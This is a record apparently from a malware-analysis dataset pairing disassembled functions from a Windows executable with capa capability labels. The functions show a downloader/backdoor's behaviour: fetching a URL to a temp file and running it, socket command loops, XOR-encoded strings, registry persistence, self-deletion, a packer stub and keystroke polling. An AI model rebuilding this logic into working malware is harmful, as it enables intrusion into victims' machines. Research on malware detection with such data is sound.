joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b60
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea edi, [ebp - 0x18]
mov esi, 0x10
lea ebx, [ebx]
push 0
push esi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401b95
add edi, eax
sub esi, eax
jmp 0x401bc2
cmp eax, 0xffffffff
jne 0x401c8c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401c8c
cmp eax, 0x2744
je 0x401c8c
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401b80
cmp dword [ebp - 0x18], 0x1055
je 0x401c5e
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x10
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [0x412110]
mov dword [esi*4 + 0x411d10], eax
test eax, eax
je 0x401c8c
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x10]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0xc]
mov dword [eax + 0xc], edx
cmp dword [ebp - 0xc], 0
jbe 0x401c52
mov esi, dword [esi*4 + 0x411d10]
mov eax, dword [esi + 0xc]
push eax
lea eax, [esi + 0x10]
push ebx
call fcn.00401b00
add esp, 8
test eax, eax
je 0x401c73
mov esi, dword [0x412110]
mov ecx, dword [esi*4 + 0x411d10]
lea eax, [ecx + 0x10]
mov ecx, dword [ecx + 0xc]
mov edx, eax
call fcn.00401020
inc esi
mov dword [0x412110], esi
jmp 0x401b72
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x412110]
mov edx, dword [ecx*4 + 0x411d10]
push edx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00402d39
mov esp, ebp
pop ebp
ret
Function at 0x401dc0
Capabilities:
Download url
Get common file path
Receive data
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, edx
cmp esi, ebx
je 0x401ef3
cmp edi, ebx
jne 0x401ded
mov edi, str.sec.exe
lea eax, [ebp - 0x808]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov dword [ebp - 0x80c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401ef3
push ebx
push ebx
lea edx, [ebp - 0x80c]
push edx
push esi
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
js 0x401ef3
push 0x400
lea eax, [ebp - 0x407]
push ebx
push eax
mov dword [ebp - 0x810], ebx
mov byte [ebp - 0x408], bl
call fcn.004068f0
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0xc
lea ebx, [ebx]
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
lea edx, [ebp - 0x810]
push edx
push 0x400
lea edx, [ebp - 0x408]
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
push 0
lea ecx, [ebp - 0x814]
push ecx
push 0x400
lea edx, [ebp - 0x408]
push edx
push edi
mov esi, eax
call ebx
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.004068f0
add esp, 0xc
test esi, esi
js 0x401eda
cmp esi, 1
jne 0x401e80
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jns 0x401ef5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402d39
mov esp, ebp
pop ebp
ret

Function at 0x401f10
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x108]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x44
xor esi, esi
lea ecx, [ebp - 0x160]
push esi
push ecx
call fcn.004068f0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x160], 0x44
mov dword [ebp - 0x128], esi
mov dword [ebp - 0x134], 0x101
mov word [ebp - 0x130], dx
mov edi, edi
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x160]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edi
push 0
call ebx
test eax, eax
jne 0x401fb9
inc esi
cmp esi, 8
jl 0x401f90
cmp esi, 8
jne 0x401fd0
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402d39
mov esp, ebp
pop ebp
ret
Function at 0x4027e0
Capabilities:
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
mov eax, dword [0x41003c]
xor eax, esp
mov dword [esp + 0x1a0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x101
xor edi, edi
mov dword [esp + 0x14], 0xea60
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4028ee
cmp byte [str._8______], 0
mov eax, str._8______
je 0x40283b
mov ecx, eax
nop
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402830
xor esi, esi
lea ecx, [ecx]
mov edx, dword [esi*4 + 0x410f64]
mov ecx, esi
shl ecx, 4
sub ecx, esi
lea eax, [ecx*2 + str._8______]
push edx
push eax
call fcn.00401460
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x4028a0
inc edi
cmp edi, 3
jle 0x40288b
inc esi
xor edi, edi
cmp esi, 1
jne 0x40288b
mov eax, 0xa4cb80
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0xc], 0xea60
jmp 0x402840
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0xc], 0xea60
jmp 0x402840
push ebx
call fcn.004019a0
add esp, 4
call fcn.00401b60
test eax, eax
jne 0x4028b5
inc edi
jmp 0x402840
push ebx
call fcn.00402750
add esp, 4
push 0
push 0xa
lea eax, [esp + 0x1a8]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x4028dc
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [0x410f68]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402840
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402d39
mov esp, ebp
pop ebp
ret

Function at 0x402910
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, 1
cmp dword [ebp + 8], esi
jle 0x40298e
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov eax, dword [edi + esi*4]
mov cl, byte [eax]
cmp cl, 0x2d
je 0x402934
cmp cl, 0x2f
jne 0x402987
movsx eax, byte [eax + 1]
push eax
call fcn.00403036
add esp, 4
cmp eax, 0x69
je 0x40295b
cmp eax, 0x70
jne 0x402987
mov ecx, dword [edi + esi*4]
add ecx, 3
push ecx
call ebx
mov dword [0x410f64], eax
jmp 0x402987
mov edx, dword [edi + esi*4]
add edx, 3
cmp byte [edx], 0
mov eax, edx
je 0x40297b
mov ecx, edx
lea ebx, [ebx]
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402970
push edx
push str._8______
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
inc esi
cmp esi, dword [ebp + 8]
jl 0x402925
pop ebx
pop esi
pop ebp
ret
Function at 0x4029a0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str._ixnjSBfl__iSXfak_xSLzjaYjf_aS_za
lea eax, [ebp - 0x68]
push eax
xor ebx, ebx
call esi
lea eax, [ebp - 0x68]
cmp byte [ebp - 0x68], bl
je 0x4029da
mov ecx, eax
nop
xor byte [eax], 0xf
inc ecx
mov eax, ecx
cmp byte [ecx], bl
jne 0x4029d0
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x68]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp dword [ebp - 0x6c], ebx
je 0x402a3d
push 0x40e3f8
lea eax, [ebp - 0x68]
push eax
call esi
lea eax, [ebp - 0x68]
cmp byte [ebp - 0x68], bl
je 0x402a11
mov ecx, eax
xor byte [eax], 0xf
inc ecx
mov eax, ecx
cmp byte [ecx], bl
jne 0x402a07
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x6c]
push eax
push edi
push 1
push 0
lea ecx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x402a33
lea ebx, [eax + 1]
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00402d39
mov esp, ebp
pop ebp
ret
Function at 0x402a50
Capabilities:
Create directory
Create process on windows
Encode data using xor
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x100
lea eax, [ebp - 0x268]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40e404
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x68], 0
lea eax, [ebp - 0x68]
je 0x402a9c
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402a91
push esi
push edi
push 0
lea edx, [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x80
push 3
push 0
push 1
mov edi, eax
push connect
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402c34
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.00403469
add esp, 4
push 0
lea ecx, [ebp - 0x26c]
push ecx
push ebx
push eax
push esi
mov dword [ebp - 0x274], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x402b5e
cmp edi, 0xb7
je 0x402b5e
cmp edi, 3
jne 0x402b8c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40e440
lea edx, [ebp - 0x68]
push edx
call esi
lea eax, [ebp - 0x68]
call section..text
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.L5S__hnb_IfcjSL_bb_a_IfcjSHn
lea ecx, [ebp - 0x168]
push ecx
call esi
lea eax, [ebp - 0x168]
call section..text
jmp 0x402b8c
push str.L5S__hnbKnnSHn
lea edx, [ebp - 0x168]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x168], 0
lea eax, [ebp - 0x168]
je 0x402b8c
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402b81
lea eax, [ebp - 0x168]
push eax
lea ecx, [ebp - 0x268]
push str.__s___run
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
lea edx, [ebp - 0x168]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402c33
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x26c]
push eax
push ebx
mov ebx, dword [ebp - 0x274]
push ebx
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
lea ecx, [ebp - 0x26c]
push ecx
push 4
lea edx, [ebp - 0x270]
push edx
push esi
mov dword [ebp - 0x270], eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.00403062
add esp, 4
lea edi, [ebp - 0x268]
call fcn.004029a0
test eax, eax
je 0x402c33
push 0
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00402d39
mov esp, ebp
pop ebp
ret
Function at 0x402c50
Capabilities:
Accept command line arguments
Create process on windows
Encode data using xor
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
lea eax, [ebp - 0x41c]
push eax
mov eax, esi
call fcn.00401ca0
mov ecx, dword [ebp - 0x41c]
mov edi, eax
push ecx
call fcn.00402910
add esp, 8
push str._run
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x402cff
mov edx, dword [edi]
push edx
lea eax, [ebp - 0x418]
push str._c_del__q___s_____NUL
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
call fcn.00402a50
push str.l5Sxfak_xSvjb_Slbk_jwj
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
je 0x402cde
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402cd3
push 0
push 0
lea edx, [ebp - 0x418]
push edx
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.MUTEX394039_4830023
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
pop edi
pop esi
test eax, eax
jne 0x402cf7
push str.MUTEX394039_4830023
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call fcn.004027e0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402d39
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41003c]
jne 0x402d43
repz ret
jmp fcn.00403689
Function at 0x408e5c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004056d6
and dword [ebp - 0x14], 0
cmp dword [0x411ca0], 0
mov dword [ebp - 0x18], eax
jne 0x408f0f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x408fb7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x408fb7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x411ca0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x411ca4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x411ca8], eax
call edi
push eax
call esi
mov dword [0x411cb0], eax
test eax, eax
je 0x408f0f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x411cac], eax
mov eax, dword [0x411cac]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x408f68
cmp dword [0x411cb0], ecx
je 0x408f68
push eax
call esi
push dword [0x411cb0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x408f68
test ebx, ebx
je 0x408f68
call edi
test eax, eax
je 0x408f5f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x408f5f
test byte [ebp - 8], 1
jne 0x408f68
or dword [ebp + 0x10], 0x200000
jmp 0x408f9b
mov eax, dword [0x411ca4]
cmp eax, dword [ebp - 0x18]
je 0x408f9b
push eax
call esi
test eax, eax
je 0x408f9b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x408f9b
mov eax, dword [0x411ca8]
cmp eax, dword [ebp - 0x18]
je 0x408f9b
push eax
call esi
test eax, eax
je 0x408f9b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x411ca0]
call esi
test eax, eax
je 0x408fb7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x408fb9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402d39
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x58416c61
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
loop 0x433060
nop
nop
nop
nop
mov eax, str.l8n8
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x382c5ac9
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x41768a
Capabilities:
Encode data using xor

Disassembly:
lodsd eax, dword [esi]
xchg ebx, eax
mov bl, 0x61
adc al, 0xef
or al, 0x37
pandn mm0, qword [edx - 0x63]
cmp eax, 0xaeeed45d
fadd qword [ecx + eax*4 - 0x13a275f]
push esi
jmp 0x4176f5
jle 0x41766c
cmp ah, byte [ebx + edx*4 + 0x36]
retf
adc cl, byte [eax]
push ds
out dx, al
inc ebx
push 0x5b
pop ebp
inc esi
jo 0x417743
sbb dword [ebx + 6], 0x197cf323
jl 0x4176ff
sbb dword [esi + 0x6a1c088], eax
loop 0x41772b
xchg byte [eax - 0x1df95e40], cl
cmp esp, dword ds:[edi]
cmp esp, dword [edi]
mov bh, 0x18
pop esp
pop es
jb 0x4176e5
push ebx
loope 0x417713
shl byte [edx + 8], cl
shl byte gs:[0x954c4190], 0xa5
nop
inc ecx
dec esp
xchg ebp, eax
movsd dword es:[edi], dword [esi]
scasd eax, dword es:[edi]
add byte [ecx], dh
popfd
xchg ebp, eax
nop
push ebx
xchg ebp, eax
mov byte [edx + 0x784ec10c], dh
loop 0x41770b
mul dword [ebx + 0x7575d5f4]
mov dword [0x7575d5f4], eax
aad 0x75
jne 0x4176db
shr edi, 7
out dx, eax
pop es
mov bl, 2
scasb al, byte es:[edi]
pop esp
mov byte [eax - 0x3df9d225], al
cwde
pop esi
leave
and byte [ebx + 0x18c19039], bh
sbb cl, byte [ecx + 0x26]
loop 0x417712
cmp dword [eax + 0x4c1a18c1], edx
dec esp
mov eax, dword [0xb1dde226]
inc esp
mov cl, 0x44
jecxz 0x4176d7
mov eax, 0xb716b09e
mov esi, ebp
jns 0x4176d3
out 0x98, eax
cwde
jle 0x417766
jle 0x4176e4
out dx, eax
movsb byte es:[edi], byte [esi]
invalid
mov byte [0x4be6d1e2], al
sbb eax, 0xaf1c9b70
das
mov cl, 0xeb
outsb dx, byte [esi]
ja 0x417730
mov al, byte [0xe127807e]
or bh, byte [ebx - 0x18]
daa
loope 0x417773
jnp 0x417753
xor dword [eax - 0x2f], ecx
movsd dword es:[edi], dword [esi]
in al, dx
sub byte [edx - 0x1525d362], ch
jbe 0x417716
sub al, 0xda
ljmp 0x3d87
cmpsd dword [esi], dword es:[edi]
mov word [edi - 0x39cf13c3], es
push esi
xchg edi, eax
in eax, 0x67
xchg byte [esi], bh
test dword [edx], ecx
dec esi
xor edx, esp
pop ds
je 0x417773
or ebx, dword [esi]
push 0xffffffffffffff9e
inc ebp
retf 0x9bf7

Function at 0x44ba10
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x10]
push edi
mov dword [esi], 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov cl, byte [0x7d204d]
mov dword [0x7d5a8c], eax
mov al, byte [0x7d204a]
mov edx, dword [0x7d2030]
and cl, al
mov eax, dword [0x7d2034]
mov byte [0x7d204d], cl
mov ecx, eax
shr ecx, 2
sub edx, ecx
xor ecx, ecx
mov cl, byte [0x7d2043]
mov dword [0x7d2030], edx
mov edx, dword [0x7d2038]
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
or edx, 7
push 0x10
imul edx, ecx
and eax, edx
mov dword [0x7d2034], eax
call edi
test ax, ax
jge 0x44ba85
or dword [esi], 0x2000000
mov edx, dword [0x7d2030]
mov eax, dword [0x7d2034]
shr edx, 0xc
or edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov eax, dword [0x7d5a8c]
fild qword [esp + 8]
push eax
fadd qword [0x7d2050]
fstp qword [0x7d2050]
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
push 0x11
call edi
test ax, ax
jge 0x44bacc
or dword [esi], 0x4000000
push 0x12
call edi
test ax, ax
jge 0x44badb
or dword [esi], 0x8000000
mov eax, esi
pop edi
pop esi
add esp, 8
ret 4
Function at 0x46aaf0
Capabilities:
Encode data using xor

Disassembly:
pop ecx
das
jnp 0x46ab1a
stosb byte es:[edi], al
cmp edi, dword [edx - 0x3612ec76]
invalid
xor dl, byte [ecx]
xor al, 0x34
cmp eax, 0xc839bab3
dec eax
in al, 0x41
call 0x26d4919e
mov dword [0x83e2577e], eax
popal
dec edi
and eax, 0x2f8f61b4
push 0x68
adc ah, byte [esi]
mov edx, 0xca039ae3
adc dword [0x36520bbf], esp
or edx, dword [edx + 0x36]
fdiv qword [ebp + ecx*4 - 0x4ffaa2bc]
sbb byte [ebx + 0x4adbc612], al
cmpsb byte [esi], byte es:[edi]
sub eax, 0xf490216
and al, 0xb7
xor al, byte gs:[ebx + 0x21]
xchg esp, eax
mov eax, dword [0xb2014215]
xor esi, esp
jge 0x46aad2
xlatb
mov eax, dword [0x811a9c55]
pop ds
imul ecx, ebx, 0x69
push ss

Function at 0x7c85cd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x7d2378
cmp edx, dword [eax]
je 0x7c85ef
add eax, 8
inc ecx
cmp eax, 0x7d2408
jl 0x7c85e0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x7d2378]
jne 0x7c871d
mov eax, dword [0xbd4cd0]
cmp eax, 1
je 0x7c86f7
test eax, eax
jne 0x7c8620
cmp dword [0x7d22a4], 1
je 0x7c86f7
cmp edx, 0xfc
je 0x7c871d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x7c8657
lea eax, [ebp - 0x1a4]
push 0x7cddb0
push eax
call fcn.007c8fb0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.007c9440
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x7c869a
lea eax, [ebp - 0x1a4]
push eax
call fcn.007c9440
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x7cddac
push edi
call fcn.007cb310
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x7cdd90
push eax
call fcn.007c8fb0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.007c8fc0
lea eax, [ebp - 0xa0]
push 0x7cdd8c
push eax
call fcn.007c8fc0
push dword [esi + 0x7d237c]
lea eax, [ebp - 0xa0]
push eax
call fcn.007c8fc0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x7cdd64
push eax
call fcn.007cb284
add esp, 0x2c
pop edi
jmp 0x7c871d
lea eax, [ebp + 8]
lea esi, [esi + 0x7d237c]
push 0
push eax
push dword [esi]
call fcn.007c9440
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret